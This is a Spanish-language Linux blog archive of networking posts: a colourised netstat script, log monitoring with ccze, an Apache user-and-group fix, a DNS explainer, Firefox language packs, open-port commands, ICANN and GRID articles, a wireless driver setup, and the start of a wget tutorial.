Showing posts with label Networking. Show all posts
Showing posts with label Networking. Show all posts

11/27/2009


Monitorear el sistema en Gnu/Linux desde consola

En este post quiero hacer una recompilación de scripts y comandos para monitorear nuestro sistema desde la consola de una manera agradable, es decir darle un toque de color :).

Visualizar netstat:

Empecemos con el monitoreo a través de la herramiento netstat, muy conocida por su multiplataforma para ver las conexiones entrantes y salientes. Bueno a continuación les dejo un script encontrado en la web y modificado para esta versión de Ubuntu 9.10 que uso en español.


#!/bin/bash
cyan="\E[1;36m\E[1m";
normal="\E[m";
blue="\E[34m\E[1m";
violet="\E[35m\E[1m";
red="\E[31m\E[1m";
yellow="\E[33m\E[1m";
green="\E[37m\E[32m\E[1m";
text="\E[1;37m\E[1m";

if [ "$UID" != "0" ]; then
echo -e "$red$0: You will get more information if you have root privileges. Try sudo $0$normal"
fi

netstat -natp | \
while read line; do

if [ `echo $line | awk '{print($1)}'` = "Proto" ]; then
echo -e "$yellow=====================================================================================================$normal"
echo -e "$text$line$normal"
echo -e "$yellow=====================================================================================================$normal"
else

state=`echo $line | awk '{print($6)}'`
color=$yellow
case $state in
"ESTABLECIDO")
color=$green;;
"SYN_SENT" | "SYN_RECV")
color=$yellow;;
"FIN_WAIT1" | "FIN_WAIT2" |"TIME_WAIT")
color=$violet;;
"CLOSE" | "CLOSE_WAIT" | "LAST_ACK" | "CLOSING" )
color=$blue;;
"ESCUCHAR")
color=$red;;
"UNKNOWN")
color=$red;;
*)
esac
echo -e "$color$line$normal"

fi
done;
Para usar el script:
touch nett
/*Creamos el fichero*/
chmod +x nett
/*Le damos permiso de ejecucion*/
gedit nett
/*Abrimos Gedit y pegamos el codigo y ponemos guardar */
./nett
/*Para usarlo*/

Visualizar logs:

Primero instalamos el paquete ccze que nos colorizará nuestra terminal con los resultados de los logs.
apt-get install ccze

Generalmente visualizamos los logs en los ficheros que se encuentran en /var/log/.

La herramienta TAIL permite visualizar ciertas líneas de un archivo de texto plano, por ejemplo las últimas X líneas, pero la opción que utilizaremos se queda esperando cambios en el archivo y los muestra a medida que van apareciendo. En el caso de visualizar un archivo de log tendremos la actualización constante del archivo en nuestra pantalla:

# tail -f /var/log/syslog

Ahora solo queda mejorar un poco la salida para que sea mas ágil la lectura:

# tail -f /var/log/syslog | ccze

A continuación veremos la salida de dmesg:

# tail -f /var/log/dmesg | ccze

También se pueden monitorear tres logs al mismo tiempo, aunque no es muy recomendable nos dará una mirada al instante de lo que ocurre en nuestro sistema:

# tail -f /var/log/syslog /var/log/auth.log /var/log/dmesg | ccze


Pueden crear alias en el archivo $HOME/.bashrc para ahorrarse el comando en conjunto :

...
alias syslog='tail -f /var/log/syslog | ccze'
alias maillog='tail -f /var/log/mail.log | ccze'
alias weblog='tail -f /var/log/squid/access.log | ccze'
...

Luego solamente tipeando:

$ syslog

Veremos la salida de /var/log/syslog coloreada.

Espero que les resulte útil. Saludos :)

Fuente y Relacionados:
Logs en Gnu/Linux
Logs en Tiempo Real
Colorear Logs

8/18/2008


Problemas para iniciar httpd

Ayer instalé Apache 2 (apache-2.2.9-4) en Archlinux, pero por alguna razón en particular no iniciaba..

█▓▒░root@localhost█▓▒░ mar ago 19 10:12:34
/etc/rc.d/ /etc/rc.d/httpd start
:: Starting HTTP Daemon [FAIL]

Ni en los logs apareciá el problema, nada, la verdad en "pelotas estaba". Hasta que se me ocurrió hacer:

█▓▒░root@localhost█▓▒░ mar ago 19 10:12:53
/etc/rc.d/ apachectl -t
httpd: bad user name http


Podemos ver que nos dice "httpd: bad user name http", me di cuenta que no tengo ningún usuario llamado de esa manera. Creemos un usuario con ese nombre...:

█▓▒░root@localhost█▓▒░ mar ago 19 10:14:08
/etc/rc.d/ adduser http

Login name for new user: http

User ID ('UID') [ defaults to next available ]:

Initial group [ users ]:

Additional groups (comma separated) []:

Home directory [ /home/http ]

Shell [ /bin/bash ]

Expiry date (YYYY-MM-DD) []:

New account will be created as follows:

---------------------------------------
Login name.......: http
UID..............: [ Next available ]
Initial group....: users
Additional groups: [ None ]
Home directory...: /home/http
Shell............: /bin/bash
Expiry date......: [ Never ]

This is it... if you want to bail out, hit Control-C. Otherwise, press
ENTER to go ahead and make the account.


Creating new account...


Cambiando la información de usuario para http
Introduzca el nuevo valor, o presione ENTER para el predeterminado
Nombre completo []:
Número de habitación []:
Teléfono del trabajo []:
Teléfono de casa []:
Otro []:
Introduzca la nueva contraseña de UNIX:
Vuelva a escribir la nueva contraseña de UNIX:
passwd: contraseña actualizada correctamente


Account setup complete.

Iniciamos Apache...

█▓▒░root@localhost█▓▒░ mar ago 19 10:12:34
/etc/rc.d/ /etc/rc.d/httpd start
:: Starting HTTP Daemon [FAIL]

Pufff otra vez...

█▓▒░root@localhost█▓▒░ mar ago 19 10:16:05
/etc/rc.d/ apachectl -t
httpd: bad group name http


Ahora nos dice que el grupo no existe...lo creamos también..

█▓▒░root@localhost█▓▒░ mar ago 19 10:16:11
/etc/rc.d/ groupadd http

Agregamos el usuario http al grupo http:

█▓▒░root@localhost█▓▒░ mar ago 19 10:18:16
/etc/rc.d/ gpasswd -a http http
Añadiendo al usuario http al grupo http

Iniciamos Apache:

█▓▒░root@localhost█▓▒░ mar ago 19 10:18:23
/etc/rc.d/ /etc/rc.d/httpd start
:: Starting HTTP Daemon [DONE]
█▓▒░root@localhost█▓▒░ mar ago 19 10:19:09

Este inconveniente me quitó 3 horas de mi vida =P. Espero que les sirva. Saludos!

7/31/2008


Como funciona el DNS

El DNS se utiliza principalmente para la resolución de nombres, esto es, decidir qué dirección IP pertenece a determinado nombre completo de host.

Usos del DNS

El DNS se utiliza para distintos propósitos. Los más comunes son:

  • Resolución de nombres: Dado el nombre completo de un host (por ejemplo blog.smaldone.com.ar), obtener su dirección IP (en este caso, 208.97.175.41).
  • Resolución inversa de direcciones: Es el mecanismo inverso al anterior. Consiste en, dada una dirección IP, obtener el nombre asociado a la misma.
  • Resolución de servidores de correo: Dado un nombre de dominio (por ejemplo gmail.com) obtener el servidor a través del cual debe realizarse la entrega del correo electrónico (en este caso, gmail-smtp-in.l.google.com).

Por tratarse de un sistema muy flexible, es utilizado también para muchas otras funciones, tales como la obtención de claves públicas de cifrado asimétrico y la validación de envío de e-mails (a través de mecanismos como SPF). Terminología básica

Antes de proseguir, es necesario introducir algunos términos básicos para evitar confusiones y ambigüedades. Otros términos más complejos serán tratados más adelante.

Host Name
El nombre de un host es una sola "palabra" (formada por letras, números y guiones). Ejemplos de nombres de host son "www", "blog" y "obelix".
Fully Qualified Host Name (FQHN)
Es el "nombre completo" de un host. Está formado por el hostname, seguido de un punto y su correspondiente nombre de dominio. Por ejemplo, "blog.smaldone.com.ar"
Domain Name
El nombre de dominio es una sucesión de nombres concatenados por puntos. Algunos ejemplos son "smaldone.com.ar", "com.ar" y "ar".
Top Level Domains (TLD)
Los dominios de nivel superior son aquellos que no pertenecen a otro dominio. Ejemplos de este tipo son "com", "org", "ar" y "es".

Arquitectura del DNS

El sistema DNS funciona principalmente en base al protocolo UDP. Los requerimientos se realizan a través del puerto 53.

El sistema está estructurado en forma de "árbol". Cada nodo del árbol está compuesto por un grupo de servidores que se encargan de resolver un conjunto de dominios (zona de autoridad). Un servidor puede delegar en otro (u otros) la autoridad sobre alguna de sus sub-zonas (esto es, algún subdominio de la zona sobre la que él tiene autoridad). Un subdominio puede verse como una especialización de un dominio de nivel anterior. Por ejemplo, "smaldone.com.ar" es un subdominio de "com.ar", que a su vez lo es del TLD "ar".

El siguiente diagrama ilustra esto a través de un ejemplo:

Zonas y delegación
Zonas y delegación

Los servidores con autoridad sobre los TLD son los llamados "root servers" (o "servidores raíz") del sistema. Estos son fijos, ya que rara vez cambian, siendo actualmente 13.

Tomemos como ejemplo el dominio "com.ar". Este dominio pertenece al TLD "ar".

Los servidores con autoridad sobre el dominio "ar" son:

ns-ar.ripe.net
merapi.switch.ch
uucp-gw-1.pa.dec.com
uucp-gw-2.pa.dec.com
ns.uu.net
ns1.retina.ar
athea.ar
ctina.ar

En tanto que los servidores con autoridad sobre "com.ar" son:

merapi.switch.ch
relay1.mecon.gov.ar
ns.uu.net
ns1.retina.ar
athea.ar
ctina.ar

Podemos ver que ns.uu.net, ns1.retina.ar, athea.ar y ctina.ar tienen autoridad tanto sobre "com.ar" como sobre "ar".


El proceso de resolución de nombres

Cuando una aplicación (cliente) necesita resolver un FQHN envía un requerimiento al servidor de nombres configurado en el sistema (normalmente, el provisto por el ISP). A partir de entonces se desencadena el proceso de resolución del nombre:

  1. El servidor de nombres inicial consulta a uno de los servidores raíz (cuya dirección IP debe conocer previamente).
  2. Este devuelve el nombre del servidor a quien se le ha delegado la sub-zona.
  3. El servidor inicial interroga al nuevo servidor.
  4. El proceso se repite nuevamente a partir del punto 2 si es que se trata de una sub-zona delegada.
  5. Al obtener el nombre del servidor con autoridad sobre la zona en cuestión, el servidor inicial lo interroga.
  6. El servidor resuelve el nombre correspondiente, si este existe.
  7. El servidor inicial informa al cliente el nombre resuelto.

Ilustremos esto con un ejemplo concreto. Supongamos que el navegador necesita resolver el nombre "blog.smaldone.com.ar".

  1. El sistema tiene configurado el servidor de nombres 200.49.156.3 (perteneciente al proveedor argentino Fibertel). Por lo tanto envía a éste el requerimiento de resolver "blog.smaldone.com.ar".
  2. El servidor de 200.49.156.3 envía la consulta root server 198.41.0.4.
  3. 198.41.0.4 le informa que el servidor con autoridad sobre "ar" es athea.ar, cuya dirección IP es 200.16.98.2. (En realidad, informa la lista de todos los servidores con tal autoridad, pero para simplificar el ejemplo tomaremos solamente uno.)
  4. 200.49.156.3 envía nuevamente el requerimiento a athea.ar (el cual, recordemos, también tiene autoridad sobre "com.ar").
  5. athea.ar responde que la autoridad sobre smaldone.com.ar la tiene ns1.mydomain.com cuya dirección IP es 64.94.117.213.
  6. 200.49.156.3 envía ahora la consulta a ns1.mydomain.com.
  7. ns1.mydomain.com informa que la dirección IP de "blog.smaldone.com.ar" es 208.97.175.41.
  8. Finalmente, 200.49.156.3 devuelve este resultado a la aplicación que originó la consulta.

Mecanismos de caché

Cada vez que un servidor de nombres envía una respuesta, lo hace adjuntando el tiempo de validez de la misma (TTL o "tiempo de vida"). Esto posibilita que el receptor, antes la necesidad de volver a resolver la misma consulta, pueda utilizar la información previamente obtenida en vez de realizar un nuevo requerimiento.

Esta es la razón por la cual los cambios realizados en el DNS no se propagan instantáneamente a través del sistema. Dependiendo de la naturaleza de los mismos (y de la configuración de cada servidor), la propagación puede tardar desde algunos minutos hasta varios días. Correo electrónico y resolución de nombres

Normalmente los usuarios de correo electrónico redactan su mensajes usando un cliente de correo y enviándolo a través de un servidor SMTP provisto por su ISP o a través de un sistema de correo vía web (webmail). En cualquier caso, una vez que el mensaje es recibido por el servidor, debe ser entregado al destinatario. Aquí interviene el sistema DNS:

  1. El servidor del emisor solicita al DNS (de acuerdo al mecanismo analizado anteriormente), la entrada MX del dominio del receptor del mensaje. MX significa "mail exchanger", esto es, el nombre del servidor (o los servidores) encargado de recibir los mensajes destinados a determinado dominio.
  2. El DNS devuelve el FQHN y la dirección IP del mail exchanger.
  3. El servidor del emisor se conecta al puerto 25, mediante TCP, del servidor del destinatario y entrega el mensaje según el protocolo SMTP.
  4. El proceso podrá continuar si el servidor receptor del mensaje no es el último de la cadena. Existen servidores que actúan como "puertas de enlace" o "gateways" de correo electrónico, y que se encargan de recibir los mensajes de determinados dominios para luego enviarlos a otros servidores.

Tipos de registro en un servidor de nombres

Un servidor de nombres puede almacenar distinta información. Para ello, en cada zona de autoridad dispondrá de entradas de distinto tipo. Entre los más importantes se encuentran:

A (Address)
Este registro se utiliza para traducir nombres de hosts del dominio en cuestión a direcciones IP.
CNAME (Canonical Name)
El nombre canónico es un alias para un host determinado. (No define una dirección IP, sino un nuevo nombre.)
NS (Name Server)
Especifica el servidor (o servidores) de nombres para un dominio.
MX (Mail Exchange)
Define el servidor encargado de recibir el correo electrónico para el dominio.
PTR (Pointer)
Especifica un "registro inverso", a la inversa del registro A, permitiendo la traducción de direcciones IP a nombres.
TXT (Text)
Permite asociar información adicional a un dominio. Esto se utiliza para otros fines, como el almacenamiento de claves de cifrado, "DomainKeys" o "Sender Policy Framework".

Bind, "el" servidor de nombres

Prácticamente el único software utilizado en los servidores de nombres de Internet es bind ("Berkeley Internet Name Domain"), creado originalmente en la Universidad de California, y actualmente propiedad del Internet Systems Consortium.

Este programa, distribuido bajo una licencia libre, es utilizado en prácticamente todos los sistemas Unix del mundo. Esto ha sido considerado un problema de seguridad, al punto que se ha propuesto la migración de algunos root servers a otro sistema, ya que la aparición de algún problema de seguridad en bind podría implicar la caída de todo el DNS de Internet. Uso del DNS en una red local

Ya en redes de tamaño medio (quizás más de 5 equipos) es conveniente la utilización de DNS. Esto nada tiene que ver con el DNS de Internet (aunque el servidor local puede estar vinculado a este sistema).

Básicamente, es conveniente montar un servidor local de DNS por los siguientes motivos:

Agilizar el acceso a Internet
Al tener un servidor de nombres en nuestra propia red local (que acceda al DNS de nuestro proveedor o directamente a los root servers) se agiliza el mecanismo de resolución de nombres, manteniendo en caché los nombres recientemente usados en la red y disminuyendo el tráfico hacia/desde Internet.
Simplificar la administración de la red local
Al contar con un DNS propio (ya sea uno o varios servidores de nombres) es posible definir zonas locales (no válidas ni accesibles desde Internet) para asignar nombres a cada uno de los hosts de la LAN. De esta forma es posible, por ejemplo, referirnos a la impresora de red como "hplaser.mired.local" en vez de "192.168.0.2" y a nuestro servidor de correo interno como "smtp.mired.local" en vez de "192.168.0.3". (Pensemos, por ejemplo, que ocurriría con las configuraciones de las aplicaciones si un día decidimos cambiar el esquema de direcciones IP de nuestra red.)

Problemas del DNS

El principal problema que presenta el DNS es que, al estar basado en UDP (protocolo de transporte que no garantiza la recepción de la información enviada), tanto las consultas como las respuestas pueden "perderse" (por ejemplo, a causa de congestionamiento en algún enlace de la red). Es común apreciar cómo, en el caso de servidores y redes no muy bien configuradas, la resolución de nombres se resiente sensiblemente ante cualquier anomalía (saturación de tráfico o del servidor de nombres local).

Otro inconveniente, que ya hemos hecho notar, es la lentitud de la propagación de las modificaciones en el sistema, producto de la propia arquitectura del mismo.

Pero quizás el mayor problema no sea inherente al sistema mismo, sino a la pésima configuración de los servidores de muchos ISP. Fibertel, el proveedor que utilizo, es un notable ejemplo de esta falencia. Una buena solución a esta situación es ejecutar un servidor de nombres en alguna PC de la red local, de forma tal que se comunique directamente con los root servers (evitando de esta forma pasar a través de los servidores de nombres de nuestro proveedor). Herramientas para aprender más

En sistemas Unix el comando dig (ver "man dig") permite realizar requerimientos "a mano" para poder investigar un poco más sobre el funcionamiento del DNS y, cómo no, también para detectar y solucionar problemas en la red.

Los usuarios de sistemas Windows disponen del comando nslookup (aunque no tan potente como dig), para el mismo propósito. Lectura adicional

   * La página de Wikipedia sobre DNS contiene bastante información y buenos enlaces sobre este tema.
* El "DNS Cómo" explica la configuración de bind en GNU/Linux.
* El RFC 1591 explica detalladamente la estructura del DNS.
* Los RFC 1034 y 1035 (ambos en inglés), describen completamente el DNS.

Fuente

Este articulo ha sido tomado de la siguiente fuente. El mismo tiene la siguiente licencia Creative Commons. Algunas correcciones menores se han realizado para ajustarla a los fines de este sitio.

Muchas Gracias a Javier Smaldone por escribirlo de una manera tan simple y amena.

Fuente: wiki.xtech.com.ar

7/06/2008


Cambiar o Modificar el idioma a Firefox 3

En Archlinux, Firefox 3 se llama Minefield ¿Por qué?. Porque es la version compilada para nuestra distribución, ya que Archlinux sólo es para arquitecturas i686 o x86_64. Mozilla la denomina version Testing.


Y como verán Minefield, se encuentra en Inglés, para solucionarlo, tenemos dos opciones:

  • Podemos navegar en el directorio xpi de idiomas de mozilla y bajarse el que le parezca. En mi caso me baje es-AR.xpi, que es el idioma español argentino o también latinoamericano.

  • Y la segunda opción es instalarse el paquete firefox-i18n con pacman, el cual cuenta con una gran variedad de idiomas.

[braianet@ArchLinux ~]$ pacman -Si firefox-i18n
Repositorio : extra
Nombre : firefox-i18n
Versión : 3.0-1
URL : http://www.mozilla.com/
Licencias : MPL
Grupos : Nada
Provee : Nada
Depende De : firefox=3.0
Dependencias Opcionales : Nada
Conflictos con : mozilla-firefox-i18n mozilla-firefox-af
mozilla-firefox-ar mozilla-firefox-be mozilla-firefox-ca
mozilla-firefox-cs mozilla-firefox-da mozilla-firefox-de
mozilla-firefox-el mozilla-firefox-en-GB
mozilla-firefox-es-AR mozilla-firefox-es-ES
mozilla-firefox-eu mozilla-firefox-fi mozilla-firefox-fr
mozilla-firefox-fy-NL mozilla-firefox-ga-IE
mozilla-firefox-gu-IN mozilla-firefox-he
mozilla-firefox-hu mozilla-firefox-id mozilla-firefox-it
mozilla-firefox-ja mozilla-firefox-ka mozilla-firefox-ko
mozilla-firefox-ku mozilla-firefox-lt mozilla-firefox-mk
mozilla-firefox-mn mozilla-firefox-nb-NO
mozilla-firefox-nl mozilla-firefox-nn-NO
mozilla-firefox-pa-IN mozilla-firefox-pl
mozilla-firefox-pt-BR mozilla-firefox-pt-PT
mozilla-firefox-ro mozilla-firefox-ru mozilla-firefox-si
mozilla-firefox-sk mozilla-firefox-sl mozilla-firefox-sq
mozilla-firefox-sr mozilla-firefox-sv-SE
mozilla-firefox-tr mozilla-firefox-uk
mozilla-firefox-zh-CN mozilla-firefox-zh-TW firefox-af
firefox-ar firefox-be firefox-ca firefox-cs firefox-da
firefox-de firefox-el firefox-en-GB firefox-es-AR
firefox-es-ES firefox-eu firefox-fi firefox-fr
firefox-fy-NL firefox-ga-IE firefox-gu-IN firefox-he
firefox-hu firefox-id firefox-it firefox-ja firefox-ka
firefox-ko firefox-ku firefox-lt firefox-mk firefox-mn
firefox-nb-NO firefox-nl firefox-nn-NO firefox-pa-IN
firefox-pl firefox-pt-BR firefox-pt-PT firefox-ro
firefox-ru firefox-si firefox-sk firefox-sl firefox-sq
firefox-sr firefox-sv-SE firefox-tr firefox-uk
firefox-zh-CN firefox-zh-TW
Reemplaza : Nada
Tamaño de la descarga : 5742,04 K
Tamaño instalado : 23376,09 K
Empaquetador : Jan de Groot
Arquitectura : i686
Fecha de compilación : dom 22 jun 2008 16:34:58 ART
Hash MD5 : 5741c236f48666433fe9f3e241495907
Descripción : Language packs for Firefox

Espero que les haya servido. Saludos!!

6/26/2008


Ver los puertos abiertos en Gnu/Linux

Los siguientes comandos nos ayudaran a ver los sockets/puertos LISTEN o en escucha. Quiere decir los puertos abiertos, preparados para establecer una conexion.

# netstat -an | grep LISTEN
Muestra todos los sockets en estado LISTEN

# lsof -i
Muestra todas las conexiones a internet

#socklist
Nos muestra la lista de los sockets abiertos

# netstat -anp --udp --tcp | grep LISTEN
Nos muestra solo los puertos LISTEN

# netstat -tup
Lista las conexiones activas a/desde nuestro sistema

# netstat -tupl
Lista los puertos en escucha


Se podrán elegir los dominios de Internet

El ente regulador mundial de la Web aprobó la modificación en las terminaciones de las direcciones electrónicas; .mac, .buenosaires y .juan, algunas alternativas


París.- La Corporación de Internet para la Asignación de Nombres y Números (Icann) decidió hoy durante un encuentro en París que en un futuro próximo se podrá elegir libremente cuál será la terminación de las direcciones de Internet.

Además de las terminaciones actuales, como por ejemplo ".com", ".org", etc., en el futuro también se podrán utilizar terminaciones que sean nombres propios, como por ejemplo de empresas y de ciudades, ".buenosaires" o ".ebay".

Los interesados en registrar nuevas direcciones podrán solicitarlo a partir de comienzos del año próximo. Los especialistas estiman que los precios no serán menores a los diez mil euros (15 mil dólares).

Una de las causas de la decisión fue que se temía que el sistema hasta ahora vigente no pudiera suplir con las necesidades del mercado en los próximos cinco años debido al incremento de la cantidad de direcciones de Internet. Al parecer el año pasado sólo un 17 por ciento de lo que originariamente eran 4000 millones de direcciones seguían estando libres.

La nueva regulación podría crear valores totalmente nuevos en la navegación, afirmó el directivo de la Icann, Paul Twomey.

De todas formas, los entendidos suponen que la lucha por las direcciones de Internet que lleven terminaciones clásicas como ".com" no decaerá.

Cambio histórico. Los nombres de dominios de alto nivel, o TLD en sus siglas en inglés, son sufijos de Internet como los ubicuos .com, .net y .org. En la actualidad existen más de 200 TLD, entre los que se incluyen los códigos de país de dos caracteres como el argentino .ar.

"Es una resolución histórica", dijo Peter Dengate Thursh, presidente de la junta de la Icann. "Va a marcar una gran diferencia en cómo se ve y funciona internet", apuntó.

Una empresa podría también cambiar su dominio para reflejar su marca, de modo que Apple.com podría convertirse en Apple.mac, por ejemplo.

Son numerosas las personas que lograron reunir un gran capital comercializando nombres de dominios: registraban los nombres de determinadas marcas y direcciones de fácil comprensión y los vendían posteriormente a buenos precios.

Icann es una organización sin fines de lucro con sede en California que recibió el encargo del Departamento de Comercio de Estados Unidos de administrar este tipo de direcciones.

La organización, cuyo encuentro internacional finalizó hoy en París, es responsable, entre otras cosas, de los nombres de dominios y de las direcciones IP.

Agencias DPA y AFP

Fuente: http://www.lanacion.com.ar/exterior/nota.asp?nota_id=1024977&pid=4651257&toi=5799

4/01/2008


GRID, la red más poderosa

GRID es el nombre de una nueva tecnología que amenaza con provocar una revolución similar a la producida tras la aparición de Internet.

La tecnología GRID, reja, malla o cuadricula según las diversas traducciones, es un nuevo paradigma de computación distribuida en el cual todos los recursos de un número indeterminado de computadoras( ya sea cómputo, almacenamiento y aplicaciones específicas) son englobados para ser tratados de manera virtual como una única súper computadora, sin estar sujetos a un control centralizado, por eso mucho expertos ya pronostican que la tecnología GRID transformará el mundo de las TIC de la misma manera que Internet cambió el modo en que personas y empresas se comunicaban y compartían información.

Básicamente, las redes Grid tratan de conectar múltiples sistemas heterogéneos de forma que los recursos e información almacenada en los mismos se puedan compartir. Así, se consigue optimizar los recursos al ponerlos en común para cargas de trabajo de gran capacidad y facilita la colaboración de empresas con socios comerciales y proveedores, así como la participación de diferentes organizaciones dispersas geográficamente en un mismo proyecto.

Hasta el momento se ha utilizado principalmente en universidades y centros de investigación ya que la increíble disponibilidad de recursos que las GRID proporcionan son fundamentales para trabajar en física, matemáticas, geología, medicina, ingeniería, entre muchas otras aplicaciones.
Transformar grandes cantidades de información en conocimiento es una tarea sumamente compleja y costosa, pero a través de estas nuevas redes el mismo se podría simplificar y economizar hasta límites impensados.

En Argentina la primera implementación de esta tecnología se produjo en un proyecto conjunto de las Universidades de Buenos Aires y la Universidad Nacional de Cuyo, a través del cual se busco que amabas casas de altos estudios pudieran compartir la capacidad de cómputo para ser aplicado a la resolución de problemas científicos. Conozca más sobre este proyecto a través de esta nota publicada en Nex IT 29

En este primer proyecto se busco la colaboración para sumar recursos con el fin de estudiar temas como la prospección sísmica o la simulación de la circulación atmosférica, los cuales requieren de computadoras muy poderosas y costosas. Sin embargo si se las utiliza en red a través de la tecnología GRID, los costos de comparten y se potencia la capacidad del conjunto.

Esta red nos permitirá contar con una herramienta de cálculo poderosa para trabajar en temas que están en la frontera del conocimiento como la simulación numérica en problemas de interconexionado eléctrico por medios electroquímicos y en el tratamiento electroquímico de tumores, mediante el pasaje de corriente eléctrica a través de un tejido vivo”, asegura Guillermo Marshall, profesor de la Facultad de Ciencias Exactas y Naturales de la UBA.

En general, las computadoras conectadas a Internet establecen una relación bipolar: unas son clientes y las otras servidores. Los clientes son los que requieren determinados servicios (acceder a páginas web, enviar y recibir correo electrónico, emitir o captar videoconferencias, etc.), y los máquinas servidores (servers) son las encargadas de brindárselos.

Lo que diferencia a la tecnología GRID es que incluye además un tercer elemento, un actor que va a intervenir en la relación cliente-servidor y este es el middleware. Se trata de la infraestructura virtual que media entre cliente y los servidores. Su trabajo consiste básicamente en dividir las tareas, asignarle a cada máquina conectada en la red un trabajo determinado en base a sus capacidades y disponibilidad en el momento que se requiere cada trabajo. El middleware es en resumen el organizador general de tareas y posibilita ganar en velocidad y eficiencia.

Sin embargo a pesar de los grandes beneficios que las redes GRID proporcionan no se han desarrollado de forma masiva por la falta de un estándar abierto que todos puedan seguir, dada la gran cantidad de plataformas y arquitecturas diferentes que existen hoy en día.

Globus es una comunidad de organizaciones y desarrolladores, integrada por algunas de las universidades más prestigiosas del mundo así como agencias de investigación gubernamentales y patrocinada por los gigantes IBM, Microsoft y Cisco. Lo que propone esta organización es promover el desarrollo de la tecnología GRID así como también desarrollar una serie de protocolos comunes y resolver los problemas técnicos que la misma presenta hasta el momento.

Por otro lado, la Unión Europea patrocina el desarrollo de XtreemOS , un sistema operativo de código abierto que sirva para operar computadoras, clusters y móviles conectados a los recursos de la Grid. Este sistema, basado en Linux, busca presentarse como una alternativa al programa norteamericano Globus y tiene el objetivo además de devolverle en el corto plazo al continente europeo protagonismo tecnológico, muy relegado en los últimos años por EE.UU. y Asia.

Según la coordinadora del proyecto, Christine Morin, "El sistema XtreemOS ofrecerá una alternativa a Globus, que en la actualidad es el sistema de middleware más extendido para administrar redes informáticas a pesar de su complejidad".

Está claro que GRID se constituye como el siguiente paso en el despliegue de infraestructuras para Tecnologías de la Comunicación e Información. El desafío es trasladar los beneficios de esta tecnología desde el campo académico y científico al ámbito empresarial y sobre unificar criterios y establecer estándares comunes para que el uso de la misma pueda masificarse.

Fuente

3/20/2008


Instalar placa wireless Encore RTL8185 en Arch Linux

El siguiente tutorial me sirvió para poder instalar una placa pci wireless Encore ENLWI-G2
-----------------------------------------------------------------------------------------------------
Despues de tanto batallar con la configuracion de mi wireless en archlinux esta nueva distro que uso actualmente fue todo un show por ser nuevo.Para la instalacion de la pci wireless realtek rtl8185 en archlinux(dont panic), segiremos los siguientes pasos:

Para la instalacion del driver usaremos ndiswrapper, este soft es muy conocido, y el driver usado es el siguiente net8185.

Ndiswapper.

Ndiswrapper no es un driver como tal, pero lo puedes usar cuando no existen drivers nativos de Linux para el chip que tienes. Asi que es útil en muchas situaciones. Para usarlo necesitas todos los archivos *.inf de tu driver Windows. Para instalar ndiswrapper usa los siguientes pasos:

CODE
pacman -Sy ndiswrapper ndiswrapper-utils


Ya que alla acabado la instalacion de ndiswrapper, procedemos a instalar el driver net8185.inf con ndiswrapper.

CODE
ndiswrapper -i filename.inf
ndiswrapper -l
ndiswrapper -m
depmod -a


Checamos o editamos nuestro /etc/rc.conf para ver si ndiswrapper esta cargado ya en nuestros MODULES. Por lo general estara hasta lo ultimo si no es asi agregalo .

CODE
MODULES=(ndiswrapper .. ...)


Hacemos unas pruebas para ver si todo esta e su lugar escribiendo lo siguiente, si todo va bien debera aparecer una nueva interfaz llamada wlan0.

CODE
modprobe ndiswrapper
iwconfig


Instalando Knetworkmanager ( KDE ).

La instalacion se lleva acabo en kde por eso es knetworkmanager para instalarlo es muy sencillo desde nuestra konsole, escribimos:

CODE
pacman -Sy knetworkmanager


Configurando Nuestro Sistema.

Lo primero que haremos es editar nuestro /etc/rc.conf alli agregaremos la nueva interfaz antes creada con la instalacion del driver osea la wlan0. Buscamos en nuestro /etc/rc.conf INTERFACES=( lo eth0 ) alli agregamos wlan0, y las desactivaremos para que las podamos usar con el knetworkmanager, quedara algo mas o menos asi:

CODE
INTERFACES=(lo !eth0 !wlan0)


Ahora en DAEMONS desactivamos !network y agregaremos a la lista dhcdbd y networkmanager. Quedara algo mas o menos algo como:

CODE
DAEMONS=(syslog-ng !network netfs crond hal kdm alsa [b]dhcdbd networkmanager[/b] fam)


Guarda los cambios y cierra. Ahora lo unico que hay que hacer es agregar nuestro usuario normal al grupo “network�? para agregarlo en konsole escribe:

CODE
gpasswd -a USUARIO network


Referencias Wiki Archlinux.
http://wiki.archlinux.org/index.php/Wireless#ndiswrapper
http://wiki.archlinux.org/index.php/Networkmanager

Fuente: http://foros.hackerss.com/lofiversion/index.php/t4755.html

3/18/2008


Wget - Aprende a realizar descargas

Si usas GNU/Linux, probablemente ya habrás utilizado en alguna ocación wget… aún si usas Windows, puedes instalarte el Cygwin e incluir wget dentro de los paquetes instalados. Lo primero que leemos usando el comando man wget, es algo como esto:

GNU Wget es una utilidad libre para descargas no-interactivas de archivos desde la Web. Soporta los protocolos HTTP, HTTPS, y FTP, así como descargas a través de proxys.

Pero si bien esta es una herramienta que corre desde la línea de comandos, a la hora de realizar descargas nos es de gran utilidad, y si bien puedes hacer descargas desde tu navegador web o software adicional, wget te ofrece lo mismo y más. De hecho muchas personas no conocen a profundidad todas las ventajas que nos ofrece wget, y ese es el motivo de ésta entrada.

Para intentar exponer las opciones que nos ofrece wegt, voy a darles una serie de ejemplos prácticos de uso… y dice así:

Descargar un archivo demasiado pesado (5GB, por ejemplo desde un sitio web):

# wget http://pagina.com/carpeta/grandistrolinux.iso

Pero… mientras estás descargando este archivo, repentinamente, puede que haya un apagón y tu computador pierda el hilo de lo que ha descargado, o momentáneamente el servidor desde donde lo estás bajando se cae. En estos casos sería mejor utilizar wget así:

# wget -c http://pagina.com/carpeta/grandistrolinux.iso

Con la opción –c cualquier interrupción en la descarga será “resumida” en otro intento de descarga. De hecho, si existe parte de un archivo que se intentó descargar sin la opción –c, wget continuaría descargando el archivo pero guardándolo con otro nombre: grandistrolinux.iso.1.

Puedes también especificar el número de reintentos que hará wget usando la opción –tries. Por ejemplo si quisiéramos que se el número de intentos de descarga sea 8 podemos hacer lo siguiente:

# wget -c –tries=8 http://pagina.com/carpeta/grandistrolinux.iso

o

# wget -c -t 8 http://pagina.com/carpeta/grandistrolinux.iso

Incluso, podemos especificar el nombre del archivo resultante, es decir, sino queremos que el archivo que descargamos tenga el nombre grandistrolinux.iso sino ditro.iso, podemos hacer esto:

# wget -c –output-document=ditro.iso http://pagina.com/carpeta/grandistrolinux.iso

Pero wget no solo descarga archivos desde una página web, puede usar también otros protocolos de comunicación, como por ejemplo FTP:

# wget -c –tries=10 ftp://pagina.com/carpeta/archivo.iso

Puedes cambiar el estilo en el que se muestra de forma gráfica el progreso de la descarga, así:

# wget -c –progress=dot http://pagina.com/carpeta/grandistrolinux.iso

